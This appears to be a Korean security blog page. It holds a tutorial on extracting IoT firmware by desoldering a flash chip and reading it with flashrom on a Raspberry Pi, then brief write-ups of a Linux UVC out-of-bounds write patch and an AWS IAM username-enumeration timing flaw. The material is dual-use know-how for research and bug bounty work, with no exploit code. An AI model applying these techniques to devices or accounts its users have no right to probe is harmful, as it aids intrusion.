ํŽŒ์›จ์–ด๋Š” ๊ฒฐ๊ตญ ์ด Flash Memory๋ผ๋Š” Chip์— ๋“ค์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, Flash Memory์—์„œ ์ง์ ‘ ํŽŒ์›จ์–ด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์ด ํ™•์‹คํ•˜๋‹ค๋Š” ์žฅ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ flashrom ํ”„๋กœ๊ทธ๋žจ์„ ์ด์šฉํ•˜๋ฉด ์†์‰ฝ๊ฒŒ Flash Memory ๋‚ด๋ถ€์˜ ํŽŒ์›จ์–ด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์€ ์žฅ๋น„์™€ ๋ณด๋“œ์— ์†์ƒ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด๊ธฐ์— ์ฃผ์˜ํ•˜์—ฌ ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. โš ๏ธ

์ธ๋‘๊ธฐ๋‚˜ ์—ดํ’๊ธฐ ๋“ฑ์œผ๋กœ ๋ณด๋“œ์— ์ง์ ‘ ์—ด์„ ๊ฐ€ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์นฉ์ด๋‚˜ ๋ณด๋“œ๊ฐ€ ํƒˆ ์ˆ˜๋„ ์žˆ๊ณ , ์ž˜๋ชป๋œ ์—ฐ๊ฒฐ์ด ์ด๋ฃจ์–ด์ง€๋ฉด ํ•ฉ์„ ์˜ ์œ„ํ—˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฐ ๋ฌธ์ œ๋กœ ๋ฒ„๊ทธ๋ฐ”์šดํ‹ฐ๋ฅผ ์œ„ํ•ด ๊ตฌ์ž…ํ•œ IoT/ ์ž„๋ฒ ๋””๋“œ ์žฅ๋น„๋ฅผ ๋ง๊ฐ€๋œจ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งˆ์น˜ ํ™ฉ๊ธˆ์•Œ์„ ๊บผ๋‚ด๊ธฐ ์œ„ํ•ด ๊ฑฐ์œ„ ๋ฐฐ๋ฅผ ๊ฐˆ๋ž๋‹ค๊ฐ€, ๋„๋ฆฌ์–ด ๊ฑฐ์œ„๋งŒ ์ฃฝ๊ฒŒ ๋˜์–ด๋ฒ„๋ฆฌ๋Š” ์ผ๊ณผ ๋น„์Šทํ•ฉ๋‹ˆ๋‹คโ€ฆ ๐Ÿชฆ

ํŽŒ์›จ์–ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•œ๋‹ค๋ฉด, ์œ„์—์„œ ์†Œ๊ฐœํ•ด๋“œ๋ฆฐ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋“ค์€ ๋จผ์ € ์‹œ๋„ํ•ด๋ณด๊ณ  Flash memory dump๋ฅผ ํ•˜๋Š” ๊ฒƒ์ด ๋ฐ”๋žŒ์งํ•ฉ๋‹ˆ๋‹ค.

flashrom์„ ์ด์šฉํ•œ Flash memory dump์˜ ํ๋ฆ„์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๐Ÿ“

  1. Raspberry Pi์— flashrom ์„ค์น˜
  2. Flash Memory Chip Off
  3. Flash memory chip๊ณผ Raspberry Pi ์—ฐ๊ฒฐ
  4. Flash memory dump

ํ•„์š”ํ•œ ์žฅ๋น„์™€ ๋„๊ตฌ์˜ ๋ชฉ๋ก์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๐Ÿ’ธ

  • Raspberry Pi (64 Bit)
  • IC Test Hook Clip (SDK08)
  • Heat Gun (์—ดํ’๊ธฐ)
  • ์ ํผ ์ผ€์ด๋ธ” ๋ฐ ๋ธŒ๋ ˆ๋“œ๋ณด๋“œ

1. flashrom ์„ค์น˜

https://www.flashrom.org/

Flashrom์€ flash chip์— ๋ฐ์ดํ„ฐ์™€ ์ด๋ฏธ์ง€๋ฅผ ํ”Œ๋ž˜์‹œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐœ๋ฐœ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

detecting, reading, writing, verifying, erasing์˜ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๊ธฐ ๋•Œ๋ฌธ์—,

์ž„๋ฒ ๋””๋“œ ํ•ดํ‚น์—์„œ๋Š” ์ด ๋„๊ตฌ๋ฅผ ํ†ตํ•ด flash memory ์•ˆ์— ์žˆ๋Š” ํŽŒ์›จ์–ด๋ฅผ ์—ญ์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ด€๋ จ Dependency๋ฅผ ์„ค์น˜ํ•˜๊ณ , meson์œผ๋กœ Raspberry Pi์—์„œ ์„ค์น˜๋ฅผ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๐Ÿ’

Raspberry Pi๋Š” 64 Bit๋กœ ์„ค์น˜ํ•˜์—ฌ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค.

sudo apt-get install -y gcc meson ninja-build pkg-config python3-sphinx libcmocka-dev libpci-dev libusb-1.0-0-dev libftdi1-dev libjaylink-dev libssl-devgit clone https://github.com/flashrom/flashrommeson setup builddirmeson compile -C builddirmeson test -C builddirmeson install -C builddir

2. Flash Memory Chip Off

flashrom์œผ๋กœ Chip์„ ์ถ”์ถœํ•  ๋•Œ, Chip์ด ๋ณด๋“œ์— ์—ฐ๊ฒฐ๋œ ์ƒํƒœ๋กœ Dump๋ฅผ ์ง„ํ–‰ํ•˜๋ฉด, ์ถ”์ถœ์ด ์›ํ™œํ•˜๊ฒŒ ๋˜์ง€ ์•Š์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ๐Ÿ‘ป

์ด์œ ๋Š” ์žฅ๋น„์™€ ๋ณด๋“œ์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒ ์ง€๋งŒ, Raspberry Pi๊ฐ€ Chip์œผ๋กœ ๊ณต๊ธ‰ ๋˜์–ด์•ผ ํ•  ์ „์›์ด ๋ณด๋“œ ์ „์ฒด๋กœ ๊ณต๊ธ‰๋˜์–ด ๋ณด๋“œ์— ๋…ธ์ด์ฆˆ ์‹ ํ˜ธ๊ฐ€ ์ถ”์ถœ์„ ๋ฐฉํ•ดํ•˜๊ฑฐ๋‚˜ ๋ฌธ์ œ๊ฐ€ ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” Raspberry Pi์˜ VCC, GND ํ•€์„ Flash Memory Chip์— ํ•ด๋‹น ํ•€์„ ์ ‘์ด‰ํ•˜๋Š” ๊ฒƒ ๋งŒ์œผ๋กœ ๋ณด๋“œ์— ์ „์›์ด ๋“ค์–ด์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์ง„์ž…๋‹ˆ๋‹ค.

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ๋ณด๋“œ์—์„œ Chip Off๋ฅผ ํ•˜์—ฌ Chip๋งŒ์„ ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์—ดํ’๊ธฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋•œ๋‚ฉ์„ ๋…น์ด๊ณ  Chip Off๋ฅผ ์‹ค์‹œํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ณผ์ •์—์„œ ๋ณด๋“œ๊ฐ€ ๋ง๊ฐ€์งˆ ์œ„ํ—˜์ด ๋งค์šฐ ๋†’๊ธฐ์—, ์ฃผ์˜ํ•ด์„œ Chip Off๋ฅผ ํ•ฉ๋‹ˆ๋‹ค.

3. Flash memory chip๊ณผ Raspberry Pi ์—ฐ๊ฒฐ

๋ณดํ†ต ์ €์ „๋ ฅ IoT ๋ฐ ์ž„๋ฒ ๋””๋“œ ์žฅ๋น„์— ๋“ค์–ด๊ฐ€๋Š” Flash memory๋Š” SPI ํ†ต์‹ ์„ ์‚ฌ์šฉํ•˜๋Š” 8 pin chip์ธ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

chip ๋ชจ๋ธ๊ณผ vendor๋งˆ๋‹ค ๊ฐ pin์˜ ์„ธ๋ถ€ ์—ญํ• ์— ์ฐจ์ด๊ฐ€ ์žˆ์„ ์ˆ˜๋Š” ์žˆ์ง€๋งŒ, ๋Œ€๋ถ€๋ถ„ 8 pin์˜ ์—ญํ• ์€ ๊ฐ™์œผ๋ฏ€๋กœ ํ•ด๋‹น ์นฉ์˜ Datasheet๋ฅผ ํ™•๋ณดํ•˜์—ฌ Pin out์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

Datasheet์—๋Š” ์ œ์กฐ์‚ฌ๊ฐ€ ํ•ด๋‹น Chip์˜ ์„ค๋ช…๊ณผ ์‚ฌ์šฉ์„ ์œ„ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ ์–ด ๋†จ์œผ๋‹ˆ ๊ผญ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค!

Flash Memory์˜ ๊ฐ 8 pin์˜ ์—ญํ• ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๐Ÿ“Œ

  • VCC: ์ „์›์„ ๊ณต๊ธ‰
  • GND: ์ ‘์ง€, ๊ธฐ์ค€ ์ „์••์„ ๊ณต๊ธ‰
  • Sclk(SCK, CLK): ์ง๋ ฌ ํด๋Ÿญ, ๋™๊ธฐํ™” ์‹ ํ˜ธ
  • CS(SS): Chip Select, ์žฅ์น˜ ๋ฐ Chip ์„ ํƒ
    • ๋ฉ”์ธ MCU์—์„œ ์—ฌ๋Ÿฌ Chip ์ค‘ ํŠน์ • Chip์„ ์„ ํƒํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” pin
  • DI(SI): Data Input
    • Flash Memory๋กœ ๋ฐ์ดํ„ฐ ์ž…๋ ฅ
  • DO(SO): Data Output
    • Flash Memory์—์„œ ๋ฐ์ดํ„ฐ ์ถœ๋ ฅ
  • WP: Write Protect, ์“ฐ๊ธฐ ๋ณดํ˜ธ
    • ์ด ํ•€ ์‹ ํ˜ธ๊ฐ€ ํ™œ์„ฑํ™” ๋œ ๊ฒฝ์šฐ Flash memory๋กœ ์“ฐ๊ธฐ ๋ถˆ๊ฐ€
  • Hold: Chip ์ผ์‹œ ์ •์ง€
    • ์ด ํ•€ ์‹ ํ˜ธ๊ฐ€ ํ™œ์„ฑํ™” ๋œ ๊ฒฝ์šฐ Flash memory ๋™์ž‘์ด ๋ฉˆ์ถค

Raspberry Pi์— ์กด์žฌํ•˜๋Š” GPIO ํ•€๊ณผ Flash Memory์˜ Pin์„ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

Flash Memory์—์„œ ์‚ฌ์šฉํ•˜๋Š” VCC, Hold, WP ํ•€์€ VCC ์ „์›์„ ์‚ฌ์šฉํ•˜๋Š” ํ•€์ž…๋‹ˆ๋‹ค.

Raspberry Pi GPIO ํ•€์—๋Š” VCC ํ•€์ด ๋ถ€์กฑํ•˜๋ฏ€๋กœ ๋ธŒ๋ ˆ๋“œ ๋ณด๋“œ ๋“ฑ์œผ๋กœ VCC ์‹ ํ˜ธ๋ฅผ ๊ณต๊ธ‰ํ•˜๋Š” ๊ฒƒ์ด ํŽธํ•ฉ๋‹ˆ๋‹ค.

IC Test Hook Chip ์žฅ๋น„๋ฅผ ์ด์šฉํ•ด์„œ ๊ฐ ํ•€์— ์—ฐ๊ฒฐํ•˜๊ณ  ์ถ”์ถœ์„ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์–‡์€ Clip์ผ์ˆ˜๋ก ์—ฐ๊ฒฐ์ด ์‰ฝ๊ธฐ์— ์–‡์€ Test Clip์œผ๋กœ ์ค€๋น„ํ•˜๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค.

4. Flash memory dump

์—ฐ๊ฒฐ์ด ์™„๋ฃŒ๋˜๋ฉด Raspberry Pi ํ„ฐ๋ฏธ๋„์—์„œ ์•„๋ž˜ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด์„œ ์ถ”์ถœ์„ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๐Ÿ’‰

# ์—ฐ๊ฒฐ ํ™•์ธ ๋ฐ Chip ๋ช… ํ™•์ธsudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 -V# ์ถ”์ถœsudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [์ €์žฅํŒŒ์ผ๋ช…]sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -c [Chip๋ช…] -r [์ €์žฅํŒŒ์ผ๋ช…]

flashrom์€ ์ง€์›ํ•˜๋Š” Chip์ธ ๊ฒฝ์šฐ ๋ฐ”๋กœ ์ถ”์ถœ์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ง€์›ํ•˜์ง€ ์•Š๋Š” Chip์ธ ๊ฒฝ์šฐ์—๋Š” flashchips.h, flashchips.c์„ ํ™•์ธํ•˜๊ณ  ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์ง์ ‘ ์ถ”๊ฐ€ํ•˜์—ฌ ๋นŒ๋“œํ•˜๋ฉด ์ถ”์ถœ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Datasheet๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ์•„๋ž˜ flashchips.c ํŒŒ์ผ์— ์ถ”๊ฐ€ํ•˜๋ ค๋Š” Chip์˜ ์ •๋ณด๋ฅผ ๊ธฐ์ž…ํ•ฉ๋‹ˆ๋‹ค.

const struct flashchip flashchips[] = {/* * .vendor= Vendor name * .name= Chip name * .bustype= Supported flash bus types (Parallel, LPC...) * .manufacture_id= Manufacturer chip ID * .model_id= Model chip ID * .total_size= Total size in (binary) kbytes * .page_size= Page or eraseblock(?) size in bytes * .tested= Test status * .probe= Probe function * .probe_timing= Probe function delay * .block_erasers[]= Array of erase layouts and erase functions * { *.eraseblocks[]= Array of { blocksize, blockcount } *.block_erase= Block erase function * } * .printlock= Chip lock status function * .unlock= Chip unlock function * .write= Chip write function * .read= Chip read function * .voltage= Voltage range in millivolt */

์œ„ ๊ณผ์ •์œผ๋กœ Flash memory dump๋ฅผ ์‹ค์‹œํ•˜์—ฌ Chip ๋‚ด์— ์กด์žฌํ•˜๋Š” Firmware๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

Flash Memory Chip off ์ดํ›„์—๋Š” Chip์ด ๋–จ์–ด์ ธ ์žˆ๊ธฐ์— ์žฅ๋น„๋ฅผ ์“ฐ์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹คโ€ฆ

ํ•˜์ง€๋งŒ! ์กฐ๋ฆฝ์€ ๋ถ„ํ•ด์˜ ์—ญ์ˆœ์ž…๋‹ˆ๋‹ค!

Flash Memory Chip์„ ๋‹ค์‹œ ์ž˜(!) Resolderingํ•˜๋ฉด ์žฅ๋น„๋ฅผ ๋‹ค์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

ํŽŒ์›จ์–ด๋„ ํš๋“ํ•˜๊ณ  ์žฅ๋น„๋„ ๋‹ค์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‘ ๋งˆ๋ฆฌ ํ† ๋ผ๋ฅผ ๋ชจ๋‘ ์žก์•„๋ด…์‹œ๋‹ค! ๐Ÿคฅ

๋‹ค์Œ์—๋Š” ์ž„๋ฒ ๋””๋“œ ํ•ดํ‚น์—์„œ ์ž์ฃผ ์‹œ๋„๋˜๋Š” UART/JTAG ๋””๋ฒ„๊น… ํฌํŠธ ์—ฐ๊ฒฐ์— ๋Œ€ํ•ด์„œ ๋‹ค๋ค„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค!

๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค! ๐Ÿ™๐Ÿป

[ํ•˜๋ฃจํ•œ์ค„] CVE-2024-53104: Linux Kernel์˜ Out-Of-Bounds(OOB) Write ์ทจ์•ฝ์ 

8 March 2025 at 08:00

URL

Explain

์ด ์ทจ์•ฝ์ ์€ UVC (USB Video Class) ๋“œ๋ผ์ด๋ฒ„์˜ uvc_parse_format ํ•จ์ˆ˜์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ œ๋Š” ํ”„๋ ˆ์ž„ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ํŒŒ์‹ฑํ•  ๋•Œ, ์ •์˜๋˜์ง€ ์•Š์€ ํ”„๋ ˆ์ž„ ํƒ€์ž…(์˜ˆ, UVC_VS_UNDEFINED, ์‹ค์ œ ์ฝ”๋“œ์—์„œ๋Š” ftype์ด 0์ธ ๊ฒฝ์šฐ)์„ ์ œ๋Œ€๋กœ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์•„ Out-Of-Bounds Write๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

  • ํŒจ์น˜ ์ „ ์ฝ”๋“œ

    • ํ”„๋ ˆ์ž„ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” while ๋ฃจํ”„์˜ ์กฐ๊ฑด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

      while (buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&       buffer[2] == ftype) {    // ํ”„๋ ˆ์ž„ ํŒŒ์‹ฑ ์ฒ˜๋ฆฌ...}

      ftype์€ ํŒŒ์‹ฑํ•  ํ”„๋ ˆ์ž„์˜ ํƒ€์ž…์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, UVC_VS_FRAME_UNCOMPRESSED, UVC_VS_FRAME_FRAME_BASED, UVC_VS_FRAME_MJPEG ๋“ฑ์œผ๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. ํŠน์ • ํฌ๋งท(์˜ˆ: DV ํฌ๋งท)์˜ ๊ฒฝ์šฐ ftype์„ 0์œผ๋กœ ์„ค์ •ํ•˜๋Š”๋ฐ, ์ด๋Š” ์‹ค์ œ ํ”„๋ ˆ์ž„ ๋””์Šคํฌ๋ฆฝํ„ฐ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

    • ๋ฌธ์ œ๋Š” ๋งŒ์•ฝ ftype ๊ฐ’์ด 0(์ฆ‰, UVC_VS_UNDEFINED)์ด๋ฉด, ์กฐ๊ฑด buffer[2] == 0์ด ์ฐธ์ด ๋˜์–ด ๋ฃจํ”„๊ฐ€ ์‹คํ–‰๋˜๊ณ , ๊ณ„์‚ฐ๋œ ํ”„๋ ˆ์ž„ ๋ฒ„ํผ ํฌ๊ธฐ๊ฐ€ ๋ถ€์ •ํ™•ํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒจ์น˜ ์ „์—๋Š” ftype์ด 0์ธ ์ƒํ™ฉ์—์„œ๋„ ๋ฃจํ”„๊ฐ€ ์กฐ๊ฑด์— ๋งž๊ฒŒ ์‹คํ–‰๋˜์–ด, ํ”„๋ ˆ์ž„ ๋””์Šคํฌ๋ฆฝํ„ฐ์˜ ํฌ๊ธฐ๋‚˜ ๋ฒ„ํผ ๊ณ„์‚ฐ์— ํฌํ•จ๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ์ •์˜๋˜์ง€ ์•Š์€ ํ”„๋ ˆ์ž„ ํƒ€์ž…์— ๋Œ€ํ•ด ์ž˜๋ชป๋œ ๋ฉ”๋ชจ๋ฆฌ ์ ‘๊ทผ์ด ์ด๋ฃจ์–ด์ง€๊ณ , ๋ฒ„ํผ์˜ OOB Write๊ฐ€ ๋ฐœ์ƒํ•  ์œ„ํ—˜์ด ์ƒ๊น๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ณ€์กฐํ•˜์—ฌ ์‹œ์Šคํ…œ์˜ ์•ˆ์ •์„ฑ์„ ํ•ด์น˜๊ฑฐ๋‚˜, ์‹ฌ๊ฐํ•œ ๊ฒฝ์šฐ ๊ถŒํ•œ ์ƒ์Šน ๋ฐ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ๋“ฑ ์น˜๋ช…์ ์ธ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํŒจ์น˜ ํ›„ ์ฝ”๋“œ

    • while ๋ฃจํ”„์˜ ์กฐ๊ฑด์— ftype ๊ฐ’์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๊ฒ€์ฆ(ftype &&)์ด ๋“ค์–ด๊ฐ”์Šต๋‹ˆ๋‹ค:

      while (ftype && buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&       buffer[2] == ftype) {    // ํ”„๋ ˆ์ž„ ํŒŒ์‹ฑ ์ฒ˜๋ฆฌ...}
    • ์ด๋กœ์จ ftype์ด 0์ธ ๊ฒฝ์šฐ(์ฆ‰, ์ •์˜๋˜์ง€ ์•Š์€ ํ”„๋ ˆ์ž„ ํƒ€์ž…)์—๋Š” ๋ฃจํ”„๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์•„, ์ž˜๋ชป๋œ ํŒŒ์‹ฑ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

ํŒจ์น˜์—์„œ๋Š” while ๋ฃจํ”„์˜ ์กฐ๊ฑด์— ftype ๊ฒ€์ฆ์„ ์ถ”๊ฐ€ํ•˜์—ฌ, ftype ๊ฐ’์ด 0(์ •์˜๋˜์ง€ ์•Š์€ ์ƒํƒœ)์ธ ๊ฒฝ์šฐ ํ”„๋ ˆ์ž„ ๋””์Šคํฌ๋ฆฝํ„ฐ ํŒŒ์‹ฑ์„ ์•„์˜ˆ ๊ฑด๋„ˆ๋›ฐ๋„๋ก ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ณ€๊ฒฝ์„ ํ†ตํ•ด, ์ž˜๋ชป๋œ ํ”„๋ ˆ์ž„ ํƒ€์ž…(์˜ˆ, UVC_VS_UNDEFINED)์œผ๋กœ ์ธํ•œ ๋ฒ„ํผ ํฌ๊ธฐ ๊ณ„์‚ฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๊ณ , ๋”ฐ๋ผ์„œ ๋ฒ„ํผ์˜ OOB Write๋ฅผ ์‹œ๋„ํ•˜๋Š” ์ƒํ™ฉ์„ ๋ฏธ์—ฐ์— ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, ๋ฉ”๋ชจ๋ฆฌ ์˜ค์—ผ ๋ฐ ์•…์˜์  ์ฝ”๋“œ ์‹คํ–‰์˜ ์œ„ํ—˜์ด ํฌ๊ฒŒ ๊ฐ์†Œํ•ฉ๋‹ˆ๋‹ค.

[ํ•˜๋ฃจํ•œ์ค„] CVE-2025-0693: AWS IAM์˜ Timing Attack์œผ๋กœ ์ธํ•œ User Enumeration ์ทจ์•ฝ์ 

5 March 2025 at 08:00

URL

Target

  • 2025๋…„ 1์›” 16์ผ ์ด์ „ ๋ฒ„์ „์˜ AWS Sign-in IAM ์‚ฌ์šฉ์ž ๋กœ๊ทธ์ธ ํ๋ฆ„

Explain

AWS IAM(Identity and Access Management)์€ AWS ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.

IAM ์ฝ˜์†” ๋กœ๊ทธ์ธ์ด ํ™œ์„ฑํ™”๋œ ๋ชจ๋“  ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๋‘ ๊ฐ€์ง€ ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Finding 1 - User name Enumeration (Users w/ MFA)

AWS IAM ์‚ฌ์šฉ์ž๊ฐ€ MFA(๋‹ค์ค‘ ์ธ์ฆ)๋ฅผ ํ™œ์„ฑํ™”ํ–ˆ์„ ๊ฒฝ์šฐ, ๋กœ๊ทธ์ธ ํ๋ฆ„์˜ ์ฐจ์ด๋กœ ์ธํ•ด ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

IAM ์‚ฌ์šฉ์ž๊ฐ€ AWS ์›น ์ฝ˜์†”์— ๋กœ๊ทธ์ธํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜๋ฉด MFA ์ฝ”๋“œ ์ž…๋ ฅ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๊ณ , ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ‹€๋ ค๋„ MFA ์ฝ”๋“œ ์ž…๋ ฅ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, IAM ์‚ฌ์šฉ์ž์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ์‰ฝ๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ AWS์—์„œ ํ—ˆ์šฉ ๊ฐ€๋Šฅํ•œ ์œ„ํ—˜(Accepted Risk)์œผ๋กœ ํŒ๋‹จํ•ด, CVE๊ฐ€ ํ• ๋‹น๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

Finding 2 (CVE-2025-0693) - User name Enumeration via Timing Attack (no MFA)

MFA๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” IAM ์‚ฌ์šฉ์ž๋Š” Timing Attack์„ ํ†ตํ•ด User Enumeration ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

MFA๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ IAM ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

  • ์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜๋ฉด, ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ ๊ณผ์ •์„ ๊ฑฐ์นœ ํ›„ ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด, ์ฆ‰์‹œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.

์ด๋•Œ, ์„œ๋ฒ„ ์‘๋‹ต ์‹œ๊ฐ„์— ์ธก์ • ๊ฐ€๋Šฅํ•œ ์ฐจ์ด๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์—ฌ๋Ÿฌ ์‚ฌ์šฉ์ž๋ช…์„ ์ž…๋ ฅํ•˜๊ณ  ์‘๋‹ต ์‹œ๊ฐ„์„ ๋ถ„์„ํ•˜์—ฌ ์‚ฌ์šฉ์ž ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

